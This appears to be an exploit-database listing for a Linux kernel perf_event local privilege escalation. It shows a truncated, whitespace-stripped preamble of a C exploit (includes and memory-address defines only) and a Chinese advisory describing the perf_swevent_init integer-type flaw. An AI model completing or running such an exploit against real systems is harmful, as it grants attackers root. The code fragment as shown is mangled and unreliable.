*/#define_GNU_SOURCE#include<string.h>#include<stdio.h>#include<unistd.h>#include<stdlib.h>#include<stdint.h>#include<sys/syscall.h>#include<sys/mman.h>#include<linux/perf_event.h>#include<signal.h>#include<assert.h>#defineBASE 0x380000000#defineBASE_JUMP 0x1780000000#defineSIZE 0x100000...
Linux Kernel是美国Linux基金会发布的开放源码操作系统Linux所使用的内核。 Linux kernel 3.8.9之前的版本中的kernel/events/core.c中的‘perf_swevent_init’函数中存在漏洞,该漏洞源于程序使用不正确的整数数据类型。本地攻击者可通过特制的perf_event_open系统调用利用该漏洞获得权限。 目前厂商已经发布了升级补丁以...